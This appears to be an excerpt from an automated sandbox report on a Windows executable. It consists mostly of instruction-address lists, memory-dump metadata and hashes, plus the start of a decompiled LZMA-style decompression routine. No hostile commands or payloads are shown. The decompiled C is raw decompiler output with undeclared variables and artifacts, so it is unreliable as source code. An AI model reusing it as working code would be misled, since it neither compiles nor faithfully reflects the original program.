                                                                                                        0x004060b0
                                                                                                        0x004060bb
                                                                                                        0x004060c1
                                                                                                        0x004060c3
                                                                                                        0x004060c6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040610b
                                                                                                        0x00406111
                                                                                                        0x00406114
                                                                                                        0x00406121
                                                                                                        0x00406129
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004060e0
                                                                                                        0x004060e0
                                                                                                        0x004060e4
                                                                                                        0x0040692f
                                                                                                        0x00000000
                                                                                                        0x0040692f
                                                                                                        0x004060f0
                                                                                                        0x004060fb
                                                                                                        0x004060fb
                                                                                                        0x004060fb
                                                                                                        0x004060fe
                                                                                                        0x00406101
                                                                                                        0x00406104
                                                                                                        0x00406107
                                                                                                        0x00406109
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a6
                                                                                                        0x004067ac
                                                                                                        0x004067af
                                                                                                        0x004067b2
                                                                                                        0x004067cc
                                                                                                        0x004067cf
                                                                                                        0x004067d5
                                                                                                        0x004067e0
                                                                                                        0x004067e0
                                                                                                        0x004067e2
                                                                                                        0x004067b4
                                                                                                        0x004067b4
                                                                                                        0x004067c3
                                                                                                        0x004067c7
                                                                                                        0x004067c7
                                                                                                        0x004067e5
                                                                                                        0x004067ec
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004067ee
                                                                                                        0x004067ee
                                                                                                        0x004067f2
                                                                                                        0x004069a1
                                                                                                        0x00000000
                                                                                                        0x004069a1
                                                                                                        0x004067fe
                                                                                                        0x00406805
                                                                                                        0x0040680d
                                                                                                        0x0040680d
                                                                                                        0x0040680d
                                                                                                        0x00406810
                                                                                                        0x00406813
                                                                                                        0x00406813
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406131
                                                                                                        0x00406133
                                                                                                        0x00406136
                                                                                                        0x004061a7
                                                                                                        0x004061aa
                                                                                                        0x004061ad
                                                                                                        0x004061b4
                                                                                                        0x004061be
                                                                                                        0x00000000
                                                                                                        0x004061be
                                                                                                        0x00406138
                                                                                                        0x0040613c
                                                                                                        0x0040613f
                                                                                                        0x00406141
                                                                                                        0x00406144
                                                                                                        0x00406147
                                                                                                        0x00406149
                                                                                                        0x0040614c
                                                                                                        0x0040614e
                                                                                                        0x00406153
                                                                                                        0x00406156
                                                                                                        0x00406159
                                                                                                        0x0040615d
                                                                                                        0x00406164
                                                                                                        0x00406167
                                                                                                        0x0040616e
                                                                                                        0x00406172
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x0040617e
                                                                                                        0x00406181
                                                                                                        0x0040619f
                                                                                                        0x004061a1
                                                                                                        0x00000000
                                                                                                        0x004061a1
                                                                                                        0x00406183
                                                                                                        0x00406186
                                                                                                        0x00406189
                                                                                                        0x0040618c
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x00406191
                                                                                                        0x00406194
                                                                                                        0x00406196
                                                                                                        0x00406197
                                                                                                        0x0040619a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004063d0
                                                                                                        0x004063d4
                                                                                                        0x004063f2
                                                                                                        0x004063f5
                                                                                                        0x004063fc
                                                                                                        0x004063ff
                                                                                                        0x00406402
                                                                                                        0x00406405
                                                                                                        0x00406408
                                                                                                        0x0040640b
                                                                                                        0x0040640d
                                                                                                        0x00406414
                                                                                                        0x00406415
                                                                                                        0x00406417
                                                                                                        0x0040641a
                                                                                                        0x0040641d
                                                                                                        0x00406420
                                                                                                        0x00406420
                                                                                                        0x00406425
                                                                                                        0x00000000
                                                                                                        0x00406425
                                                                                                        0x004063d6
                                                                                                        0x004063d9
                                                                                                        0x004063dc
                                                                                                        0x004063e6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040643a
                                                                                                        0x0040643e
                                                                                                        0x00406461
                                                                                                        0x00406464
                                                                                                        0x00406467
                                                                                                        0x00406471
                                                                                                        0x00406440
                                                                                                        0x00406440
                                                                                                        0x00406443
                                                                                                        0x00406446
                                                                                                        0x00406449
                                                                                                        0x00406456
                                                                                                        0x00406459
                                                                                                        0x00406459
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040647d
                                                                                                        0x00406481
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406487
                                                                                                        0x0040648b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406491
                                                                                                        0x00406493
                                                                                                        0x00406497
                                                                                                        0x00406497
                                                                                                        0x0040649a
                                                                                                        0x0040649e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064ee
                                                                                                        0x004064f2
                                                                                                        0x004064f9
                                                                                                        0x004064fc
                                                                                                        0x004064ff
                                                                                                        0x00406509
                                                                                                        0x00000000
                                                                                                        0x00406509
                                                                                                        0x004064f4
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406515
                                                                                                        0x00406519
                                                                                                        0x00406520
                                                                                                        0x00406523
                                                                                                        0x00406526
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x00406529
                                                                                                        0x0040652c
                                                                                                        0x0040652f
                                                                                                        0x0040652f
                                                                                                        0x00406532
                                                                                                        0x00406535
                                                                                                        0x00406538
                                                                                                        0x00406538
                                                                                                        0x0040653b
                                                                                                        0x00406542
                                                                                                        0x00406547
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004065d5
                                                                                                        0x004065d5
                                                                                                        0x004065d9
                                                                                                        0x00406977
                                                                                                        0x00000000
                                                                                                        0x00406977
                                                                                                        0x004065df
                                                                                                        0x004065e2
                                                                                                        0x004065e5
                                                                                                        0x004065e9
                                                                                                        0x004065ec
                                                                                                        0x004065f2
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f7
                                                                                                        0x004065fa
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004061ca
                                                                                                        0x004061ca
                                                                                                        0x004061ce
                                                                                                        0x0040693b
                                                                                                        0x00000000
                                                                                                        0x0040693b
                                                                                                        0x004061d4
                                                                                                        0x004061d7
                                                                                                        0x004061da
                                                                                                        0x004061de
                                                                                                        0x004061e1
                                                                                                        0x004061e7
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061ec
                                                                                                        0x004061ef
                                                                                                        0x004061ef
                                                                                                        0x004061f2
                                                                                                        0x004061f5
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004061fb
                                                                                                        0x00406201
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406207
                                                                                                        0x00406207
                                                                                                        0x0040620b
                                                                                                        0x0040620e
                                                                                                        0x00406211
                                                                                                        0x00406214
                                                                                                        0x00406217
                                                                                                        0x00406218
                                                                                                        0x0040621b
                                                                                                        0x0040621d
                                                                                                        0x00406223
                                                                                                        0x00406226
                                                                                                        0x00406229
                                                                                                        0x0040622c
                                                                                                        0x0040622f
                                                                                                        0x00406232
                                                                                                        0x00406235
                                                                                                        0x00406251
                                                                                                        0x00406254
                                                                                                        0x00406257
                                                                                                        0x0040625a
                                                                                                        0x00406261
                                                                                                        0x00406265
                                                                                                        0x00406267
                                                                                                        0x0040626b
                                                                                                        0x00406237
                                                                                                        0x00406237
                                                                                                        0x0040623b
                                                                                                        0x00406243
                                                                                                        0x00406248
                                                                                                        0x0040624a
                                                                                                        0x0040624c
                                                                                                        0x0040624c
                                                                                                        0x0040626e
                                                                                                        0x00406275
                                                                                                        0x00406278
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x00000000
                                                                                                        0x00406283
                                                                                                        0x00406283
                                                                                                        0x00406287
                                                                                                        0x00406947
                                                                                                        0x00000000
                                                                                                        0x00406947
                                                                                                        0x0040628d
                                                                                                        0x00406290
                                                                                                        0x00406293
                                                                                                        0x00406297
                                                                                                        0x0040629a
                                                                                                        0x004062a0
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a5
                                                                                                        0x004062a8
                                                                                                        0x004062a8
                                                                                                        0x004062a8
                                                                                                        0x004062ae
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004062b0
                                                                                                        0x004062b3
                                                                                                        0x004062b6
                                                                                                        0x004062b9
                                                                                                        0x004062bc
                                                                                                        0x004062bf
                                                                                                        0x004062c2
                                                                                                        0x004062c5
                                                                                                        0x004062c8
                                                                                                        0x004062cb
                                                                                                        0x004062ce
                                                                                                        0x004062e6
                                                                                                        0x004062e9
                                                                                                        0x004062ec
                                                                                                        0x004062ef
                                                                                                        0x004062ef
                                                                                                        0x004062f2
                                                                                                        0x004062f6
                                                                                                        0x004062f8
                                                                                                        0x004062d0
                                                                                                        0x004062d0
                                                                                                        0x004062d8
                                                                                                        0x004062dd
                                                                                                        0x004062df
                                                                                                        0x004062e1
                                                                                                        0x004062e1
                                                                                                        0x004062fb
                                                                                                        0x00406302
                                                                                                        0x00406305
                                                                                                        0x00000000
                                                                                                        0x00406307
                                                                                                        0x00000000
                                                                                                        0x00406307
                                                                                                        0x00406305
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406347
                                                                                                        0x00406347
                                                                                                        0x0040634b
                                                                                                        0x00406953
                                                                                                        0x00000000
                                                                                                        0x00406953
                                                                                                        0x00406351
                                                                                                        0x00406354
                                                                                                        0x00406357
                                                                                                        0x0040635b
                                                                                                        0x0040635e
                                                                                                        0x00406364
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406369
                                                                                                        0x0040636c
                                                                                                        0x0040636c
                                                                                                        0x00406372
                                                                                                        0x00406310
                                                                                                        0x00406310
                                                                                                        0x00406313
                                                                                                        0x00000000
                                                                                                        0x00406313
                                                                                                        0x00406374
                                                                                                        0x00406374
                                                                                                        0x00406377
                                                                                                        0x0040637a
                                                                                                        0x0040637d
                                                                                                        0x00406380
                                                                                                        0x00406383
                                                                                                        0x00406386
                                                                                                        0x00406389
                                                                                                        0x0040638c
                                                                                                        0x0040638f
                                                                                                        0x00406392
                                                                                                        0x004063aa
                                                                                                        0x004063ad
                                                                                                        0x004063b0
                                                                                                        0x004063b3
                                                                                                        0x004063b3
                                                                                                        0x004063b6
                                                                                                        0x004063ba
                                                                                                        0x004063bc
                                                                                                        0x00406394
                                                                                                        0x00406394
                                                                                                        0x0040639c
                                                                                                        0x004063a1
                                                                                                        0x004063a3
                                                                                                        0x004063a5
                                                                                                        0x004063a5
                                                                                                        0x004063bf
                                                                                                        0x004063c6
                                                                                                        0x004063c9
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x00000000
                                                                                                        0x00406658
                                                                                                        0x00406658
                                                                                                        0x0040665c
                                                                                                        0x00406983
                                                                                                        0x00000000
                                                                                                        0x00406983
                                                                                                        0x00406662
                                                                                                        0x00406665
                                                                                                        0x00406668
                                                                                                        0x0040666c
                                                                                                        0x0040666f
                                                                                                        0x00406675
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x0040667a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406428
                                                                                                        0x00406428
                                                                                                        0x0040642b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406767
                                                                                                        0x0040676b
                                                                                                        0x0040678d
                                                                                                        0x00406790
                                                                                                        0x0040679a
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x0040676d
                                                                                                        0x00406770
                                                                                                        0x00406774
                                                                                                        0x00406777
                                                                                                        0x00406777
                                                                                                        0x0040677a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406824
                                                                                                        0x00406828
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x0040684d
                                                                                                        0x00406854
                                                                                                        0x0040685b
                                                                                                        0x0040685b
                                                                                                        0x00000000
                                                                                                        0x0040685b
                                                                                                        0x0040682a
                                                                                                        0x0040682d
                                                                                                        0x00406830
                                                                                                        0x00406833
                                                                                                        0x0040683a
                                                                                                        0x0040677e
                                                                                                        0x0040677e
                                                                                                        0x00406781
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406915
                                                                                                        0x00406918
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040654f
                                                                                                        0x00406551
                                                                                                        0x00406558
                                                                                                        0x00406559
                                                                                                        0x0040655b
                                                                                                        0x0040655e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406566
                                                                                                        0x00406569
                                                                                                        0x0040656c
                                                                                                        0x0040656e
                                                                                                        0x00406570
                                                                                                        0x00406570
                                                                                                        0x00406571
                                                                                                        0x00406574
                                                                                                        0x0040657b
                                                                                                        0x0040657e
                                                                                                        0x0040658c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406862
                                                                                                        0x00406862
                                                                                                        0x00406865
                                                                                                        0x0040686c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406871
                                                                                                        0x00406871
                                                                                                        0x00406875
                                                                                                        0x004069ad
                                                                                                        0x00000000
                                                                                                        0x004069ad
                                                                                                        0x0040687b
                                                                                                        0x0040687e
                                                                                                        0x00406881
                                                                                                        0x00406885
                                                                                                        0x00406888
                                                                                                        0x0040688e
                                                                                                        0x00406890
                                                                                                        0x00406890
                                                                                                        0x00406890
                                                                                                        0x00406893
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406899
                                                                                                        0x00406899
                                                                                                        0x0040689d
                                                                                                        0x004068fd
                                                                                                        0x00406900
                                                                                                        0x00406905
                                                                                                        0x00406906
                                                                                                        0x00406908
                                                                                                        0x0040690a
                                                                                                        0x0040690d
                                                                                                        0x00406819
                                                                                                        0x00406819
                                                                                                        0x00000000
                                                                                                        0x00406819
                                                                                                        0x0040689f
                                                                                                        0x004068a5
                                                                                                        0x004068a8
                                                                                                        0x004068ab
                                                                                                        0x004068ae
                                                                                                        0x004068b1
                                                                                                        0x004068b4
                                                                                                        0x004068b7
                                                                                                        0x004068ba
                                                                                                        0x004068bd
                                                                                                        0x004068c0
                                                                                                        0x004068d9
                                                                                                        0x004068dc
                                                                                                        0x004068df
                                                                                                        0x004068e2
                                                                                                        0x004068e6
                                                                                                        0x004068e8
                                                                                                        0x004068e8
                                                                                                        0x004068e9
                                                                                                        0x004068ec
                                                                                                        0x004068c2
                                                                                                        0x004068c2
                                                                                                        0x004068ca
                                                                                                        0x004068cf
                                                                                                        0x004068d1
                                                                                                        0x004068d4
                                                                                                        0x004068d4
                                                                                                        0x004068ef
                                                                                                        0x004068f6
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x00406594
                                                                                                        0x00406597
                                                                                                        0x004065cd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x00406700
                                                                                                        0x00406700
                                                                                                        0x00406703
                                                                                                        0x00406705
                                                                                                        0x0040698f
                                                                                                        0x00000000
                                                                                                        0x0040698f
                                                                                                        0x0040670b
                                                                                                        0x0040670e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406714
                                                                                                        0x00406718
                                                                                                        0x0040671b
                                                                                                        0x0040671b
                                                                                                        0x0040671b
                                                                                                        0x00000000
                                                                                                        0x0040671b
                                                                                                        0x00406599
                                                                                                        0x0040659b
                                                                                                        0x0040659d
                                                                                                        0x0040659f
                                                                                                        0x004065a2
                                                                                                        0x004065a3
                                                                                                        0x004065a5
                                                                                                        0x004065a7
                                                                                                        0x004065aa
                                                                                                        0x004065ad
                                                                                                        0x004065c3
                                                                                                        0x004065c8
                                                                                                        0x00406600
                                                                                                        0x00406600
                                                                                                        0x00406604
                                                                                                        0x00406630
                                                                                                        0x00406632
                                                                                                        0x00406639
                                                                                                        0x0040663c
                                                                                                        0x0040663f
                                                                                                        0x0040663f
                                                                                                        0x00406644
                                                                                                        0x00406644
                                                                                                        0x00406646
                                                                                                        0x00406649
                                                                                                        0x00406650
                                                                                                        0x00406653
                                                                                                        0x00406680
                                                                                                        0x00406680
                                                                                                        0x00406683
                                                                                                        0x00406686
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x00000000
                                                                                                        0x004066fa
                                                                                                        0x00406688
                                                                                                        0x0040668e
                                                                                                        0x00406691
                                                                                                        0x00406694
                                                                                                        0x00406697
                                                                                                        0x0040669a
                                                                                                        0x0040669d
                                                                                                        0x004066a0
                                                                                                        0x004066a3
                                                                                                        0x004066a6
                                                                                                        0x004066a9
                                                                                                        0x004066c2
                                                                                                        0x004066c4
                                                                                                        0x004066c7
                                                                                                        0x004066c8
                                                                                                        0x004066cb
                                                                                                        0x004066cd
                                                                                                        0x004066d0
                                                                                                        0x004066d2
                                                                                                        0x004066d4
                                                                                                        0x004066d7
                                                                                                        0x004066d9
                                                                                                        0x004066dc
                                                                                                        0x004066e0
                                                                                                        0x004066e2
                                                                                                        0x004066e2
                                                                                                        0x004066e3
                                                                                                        0x004066e6
                                                                                                        0x004066e9
                                                                                                        0x004066ab
                                                                                                        0x004066ab
                                                                                                        0x004066b3
                                                                                                        0x004066b8
                                                                                                        0x004066ba
                                                                                                        0x004066bd
                                                                                                        0x004066bd
                                                                                                        0x004066ec
                                                                                                        0x004066f3
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x004066f3
                                                                                                        0x00406606
                                                                                                        0x00406609
                                                                                                        0x0040660b
                                                                                                        0x0040660e
                                                                                                        0x00406611
                                                                                                        0x00406614
                                                                                                        0x00406616
                                                                                                        0x00406619
                                                                                                        0x0040661c
                                                                                                        0x0040661c
                                                                                                        0x0040661f
                                                                                                        0x0040661f
                                                                                                        0x00406622
                                                                                                        0x00406629
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00406629
                                                                                                        0x004065af
                                                                                                        0x004065b2
                                                                                                        0x004065b4
                                                                                                        0x004065b7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406316
                                                                                                        0x00406316
                                                                                                        0x0040631a
                                                                                                        0x0040695f
                                                                                                        0x00000000
                                                                                                        0x0040695f
                                                                                                        0x00406320
                                                                                                        0x00406323
                                                                                                        0x00406326
                                                                                                        0x00406329
                                                                                                        0x0040632c
                                                                                                        0x0040632f
                                                                                                        0x00406332
                                                                                                        0x00406334
                                                                                                        0x00406337
                                                                                                        0x0040633a
                                                                                                        0x0040633d
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064a1
                                                                                                        0x004064a1
                                                                                                        0x004064a5
                                                                                                        0x0040696b
                                                                                                        0x00000000
                                                                                                        0x0040696b
                                                                                                        0x004064ab
                                                                                                        0x004064ae
                                                                                                        0x004064b1
                                                                                                        0x004064b4
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b9
                                                                                                        0x004064bc
                                                                                                        0x004064bf
                                                                                                        0x004064c2
                                                                                                        0x004064c5
                                                                                                        0x004064c8
                                                                                                        0x004064c9
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064ce
                                                                                                        0x004064d1
                                                                                                        0x004064d4
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064da
                                                                                                        0x004064dc
                                                                                                        0x004064dc
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x00406722
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406728
                                                                                                        0x0040672b
                                                                                                        0x0040672e
                                                                                                        0x00406731
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406736
                                                                                                        0x00406739
                                                                                                        0x0040673c
                                                                                                        0x0040673f
                                                                                                        0x00406742
                                                                                                        0x00406745
                                                                                                        0x00406746
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x0040674b
                                                                                                        0x0040674e
                                                                                                        0x00406751
                                                                                                        0x00406754
                                                                                                        0x00406757
                                                                                                        0x0040675b
                                                                                                        0x0040675d
                                                                                                        0x00406760
                                                                                                        0x00000000
                                                                                                        0x00406762
                                                                                                        0x004064df
                                                                                                        0x004064df
                                                                                                        0x00000000
                                                                                                        0x004064df
                                                                                                        0x00406760
                                                                                                        0x00406995
                                                                                                        0x004069b7
                                                                                                        0x004069bd
                                                                                                        0x004069bf
                                                                                                        0x004069c6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fc4
                                                                                                        0x004069cc
                                                                                                        0x004069cc
                                                                                                        0x00000000

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: c94337aa44be19872a05e7fe324c1f72408cb83bc4afcb37e89916e28dd5cdb7
                                                                                                        • Instruction ID: 3ccfc7c80e99de65fa6db0e0edc8679980b1d0ea62cd2807200041591328ae3c
                                                                                                        • Opcode Fuzzy Hash: c94337aa44be19872a05e7fe324c1f72408cb83bc4afcb37e89916e28dd5cdb7
                                                                                                        • Instruction Fuzzy Hash: D98187B1D00229CBDF24CFA8C8447AEBBB1FB44305F11816AD856BB2C1C7785A96CF44
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 98%
                                                                                                        			E004063D0() {
                                                                                                        				signed int _t539;
                                                                                                        				unsigned short _t540;
                                                                                                        				signed int _t541;
                                                                                                        				void _t542;
                                                                                                        				signed int _t543;
                                                                                                        				signed int _t544;
                                                                                                        				signed int _t573;
                                                                                                        				signed int _t576;
                                                                                                        				signed int _t597;
                                                                                                        				signed int* _t614;
                                                                                                        				void* _t621;
                                                                                                        
                                                                                                        				L0:
                                                                                                        				while(1) {
                                                                                                        					L0:
                                                                                                        					if( *(_t621 - 0x40) != 1) {
                                                                                                        						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
                                                                                                        						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
                                                                                                        						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
                                                                                                        						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
                                                                                                        						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
                                                                                                        						_t539 =  *(_t621 - 4) + 0x664;
                                                                                                        						 *(_t621 - 0x58) = _t539;
                                                                                                        						goto L68;
                                                                                                        					} else {
                                                                                                        						 *(__ebp - 0x84) = 8;
                                                                                                        						while(1) {
                                                                                                        							L132:
                                                                                                        							 *(_t621 - 0x54) = _t614;
                                                                                                        							while(1) {
                                                                                                        								L133:
                                                                                                        								_t540 =  *_t614;
                                                                                                        								_t597 = _t540 & 0x0000ffff;
                                                                                                        								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
                                                                                                        								if( *(_t621 - 0xc) >= _t573) {
                                                                                                        									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
                                                                                                        									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
                                                                                                        									 *(_t621 - 0x40) = 1;
                                                                                                        									_t541 = _t540 - (_t540 >> 5);
                                                                                                        									 *_t614 = _t541;
                                                                                                        								} else {
                                                                                                        									 *(_t621 - 0x10) = _t573;
                                                                                                        									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
                                                                                                        									 *_t614 = (0x800 - _t597 >> 5) + _t540;
                                                                                                        								}
                                                                                                        								if( *(_t621 - 0x10) >= 0x1000000) {
                                                                                                        									goto L139;
                                                                                                        								}
                                                                                                        								L137:
                                                                                                        								if( *(_t621 - 0x6c) == 0) {
                                                                                                        									 *(_t621 - 0x88) = 5;
                                                                                                        									L170:
                                                                                                        									_t576 = 0x22;
                                                                                                        									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
                                                                                                        									_t544 = 0;
                                                                                                        									L172:
                                                                                                        									return _t544;
                                                                                                        								}
                                                                                                        								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
                                                                                                        								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                                                                                        								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
                                                                                                        								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
                                                                                                        								L139:
                                                                                                        								_t542 =  *(_t621 - 0x84);
                                                                                                        								while(1) {
                                                                                                        									 *(_t621 - 0x88) = _t542;
                                                                                                        									while(1) {
                                                                                                        										L1:
                                                                                                        										_t543 =  *(_t621 - 0x88);
                                                                                                        										if(_t543 > 0x1c) {
                                                                                                        											break;
                                                                                                        										}
                                                                                                        										switch( *((intOrPtr*)(_t543 * 4 +  &M004069D4))) {
                                                                                                        											case 0:
                                                                                                        												if( *(_t621 - 0x6c) == 0) {
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                                                                                        												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
                                                                                                        												_t543 =  *( *(_t621 - 0x70));
                                                                                                        												if(_t543 > 0xe1) {
                                                                                                        													goto L171;
                                                                                                        												}
                                                                                                        												_t547 = _t543 & 0x000000ff;
                                                                                                        												_push(0x2d);
                                                                                                        												asm("cdq");
                                                                                                        												_pop(_t578);
                                                                                                        												_push(9);
                                                                                                        												_pop(_t579);
                                                                                                        												_t617 = _t547 / _t578;
                                                                                                        												_t549 = _t547 % _t578 & 0x000000ff;
                                                                                                        												asm("cdq");
                                                                                                        												_t612 = _t549 % _t579 & 0x000000ff;
                                                                                                        												 *(_t621 - 0x3c) = _t612;
                                                                                                        												 *(_t621 - 0x1c) = (1 << _t617) - 1;
                                                                                                        												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
                                                                                                        												_t620 = (0x300 << _t612 + _t617) + 0x736;
                                                                                                        												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
                                                                                                        													L10:
                                                                                                        													if(_t620 == 0) {
                                                                                                        														L12:
                                                                                                        														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
                                                                                                        														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
                                                                                                        														goto L15;
                                                                                                        													} else {
                                                                                                        														goto L11;
                                                                                                        													}
                                                                                                        													do {
                                                                                                        														L11:
                                                                                                        														_t620 = _t620 - 1;
                                                                                                        														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
                                                                                                        													} while (_t620 != 0);
                                                                                                        													goto L12;
                                                                                                        												}
                                                                                                        												if( *(_t621 - 4) != 0) {
                                                                                                        													GlobalFree( *(_t621 - 4));
                                                                                                        												}
                                                                                                        												_t543 = GlobalAlloc(0x40, 0x600); // executed
                                                                                                        												 *(_t621 - 4) = _t543;
                                                                                                        												if(_t543 == 0) {
                                                                                                        													goto L171;
                                                                                                        												} else {
                                                                                                        													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
                                                                                                        													goto L10;
